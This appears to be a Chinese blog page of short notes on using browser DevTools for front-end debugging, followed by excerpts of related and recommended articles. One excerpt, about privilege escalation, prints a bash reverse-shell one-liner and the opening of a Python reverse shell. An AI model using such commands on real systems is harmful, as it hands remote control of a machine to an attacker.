前端调试工具（DevTools）

开启：F12

布局

切换PC和移动端

页面元素的快速测试技巧

保持元素的hover等状态：选中当前行点击右键

元素状态改变的监控技巧

触发断点后元素状态不会再改变,可以在sources里关掉断点，也可以重新右键点击删除断点

样式快速定位、修改

定位：

  1. 选中相关地方点击右键检查，则会自动跳转到选中元素的样式页面
  2. 打开检查工点击图片中的箭头，然后去页面中将鼠标悬浮在修改的地方（常用）

鼠标点击后定位结束

修改：

  • 画横线表示样式被覆盖
  • 在检查工具中做的修改不会更新到本地代码，刷新后恢复原状

查看脚本使用率

红色部分代表未使用的脚本占比

监控页面动画变更

设置浏览阻止织某些资源

前端调试工具（DevTools）的更多相关文章

  1. 前端调试工具DevTools处理网络请求

    DevTools处理网络请求 位置:network 1.是否启用网络处理功能 2.清除历史 3.过滤器,自定义筛选 4.是否保留先前的历史,因为每次刷新会删除历史重新加载,选中后新老请求都在可做对比 ...

  2. 【F12】谷歌浏览器F12前端调试工具 Console

    谷歌浏览器F12前端调试工具 Console 前言 先上图:不知道有多少人发现,在浏览器开发工具的“Console”上的百度首页的关于百度招聘的信息: 今天要给大家介绍的就是是Web前端调试工具中的C ...

  3. 工欲善其事 之 Web 前端调试工具格式化混淆过的 JS 代码

    工欲善其事 之 Web 前端调试工具格式化混淆过的 JS 代码 太阳火神的漂亮人生 (http://blog.csdn.net/opengl_es) 本文遵循"署名-非商业用途-保持一致&q ...

  4. 火狐调试工具-DevTools

    狐调试工具 - DevTools 咱们做写js 代码的时候,遇到的一个最大的问题就是调试问题,很多开发者在写 js 代码的时候,经常都非常痛苦.但是我们如果掌握好相应的调试工具,那么就可以比较游刃有余 ...

  5. 移动前端调试工具-Weinre真机调试

    之前做移动前端调试页面的时候就是简单的使用Chrome模拟器调试,能满足基本基本的需求,后来发现了基于Web Inspector(Webkit)的远程调试工具Weinre,可以在PC端直接调试运行在移 ...

  6. BrowserSync前端调试工具使用

    上次介绍了一款DebugGap移动端调试工具DebugGap推荐.但是这几天使用了之后感觉还是有些不足,尤其是里面的调试工具虽然和Chrome里面的调试长的很像,但是多少有些不同,使用起来还是不太方便 ...

  7. 自己开发前端调试工具:Gungnir

    文章目录 1. 界面介绍 2. 项目资源管理界面 3. 文本编辑器功能 4. 代理功能 4.1. 自动下载线上文件 4.2. 使用本地已有文件 4.3. 代理整个目录 4.4. 执行文件内容后返回结果 ...

  8. web前端调试工具

    1.firebug入门指南 http://www.ruanyifeng.com/blog/2008/06/firebug_tutorial.html 2. Console命令详解,让调试js代码变得更 ...

  9. spy-debugger 前端调试工具

    一站式页面调试.抓包工具.远程调试任何手机浏览器页面,任何手机移动端webview(如:微信,HybirdApp等).支持HTTP/HTTPS,无需USB连接设备.    Language: Engl ...

随机推荐

  1. 定要过python二级选择题第一套

    1. 2.https://zhuanlan.zhihu.com/p/199883725 树,队列,二叉树,树的基本回忆 二叉树: 分叉为俩个;  一个是右子树一个是左子树 队列:先进先出 柞:后进先出 ...

  2. Windows 10、Windows Server 定时任务（定时关机）

    前言 在测试过程中,有些测试机每天都需要关机,一台台很麻烦,于是想起了Windows的任务计划程序,想着试一试,就将具体过程记录一下. 过程 Windows 搜索任务计划程序 创建任务(不要选错了) ...

  3. Unity 刚体问题 解决相互作用力

    在进行开发过程中,当两个都具有碰撞体和刚体的 游戏物体进行接触之后,或多或少都会出现相互作用力,对于体验有一定的影响. 需要在FixedUpdate(间隔固定的时间调用,不受游戏帧率的影响)  当中  ...

  4. 提权AND反弹OR转发

    bash -i >& /dev/tcp/ip/3333 0>&1 python -c "import os,socket,subprocess;s=socket. ...

  5. Python：PNG图像生成MP4

    Python:PNG图像生成MP4 需求 需要将多张*.PNG图像,生成mp4格式的视频文件. 实现 利用Python中image库生成*.gif格式图像,但是图片未经压缩,文件体量较大. movie ...

  6. Java基础之（三）：IDEA的安装及破解

    IDEA的安装 IDEA官网:IDEA 点击IJ 找好操作系统,点击下载 双击打开,自己找个安装路径 勾选这两个即可 旗舰版破解及汉化 上面是个人社区版,是免费的,但是如果想要使用汉化版的,需要寻找插 ...

  7. 题解 [ZJOI2019]语言

    题目传送门 题目大意 给出一个 \(n\) 个点的树,现在有 \(m\) 次操作,每次可以选择一个链 \(s,t\),,然后这条链上每个点都会增加一个相同属性,问对于每一个点有与它相同属性的有多少个点 ...

  8. C语言的return语句

    Q1:函数中的Return语句有什么用? Q2:Return 0有什么含义吗? A1:Return的作用为,跳出当前的函数,并且返回到调用当前函数的主调函数,当前函数中Return语句一下代码将不会运 ...

  9. 阿里P8面试官：如何设计一个扛住千万级并发的架构？

    大家先思考一个问题,这也是在面试过程中经常遇到的问题. 如果你们公司现在的产品能够支持10W用户访问,你们老板突然和你说,融到钱了,会大量投放广告,预计在1个月后用户量会达到1000W,如果这个任务交 ...

  10. VMware Tanzu社区版初体验

    VMware Tanzu社区版 VMware Tanzu Community Edition 是一个功能齐全.易于管理的 Kubernetes 平台,供学习者和用户使用. 它是一个免费的.社区支持的. ...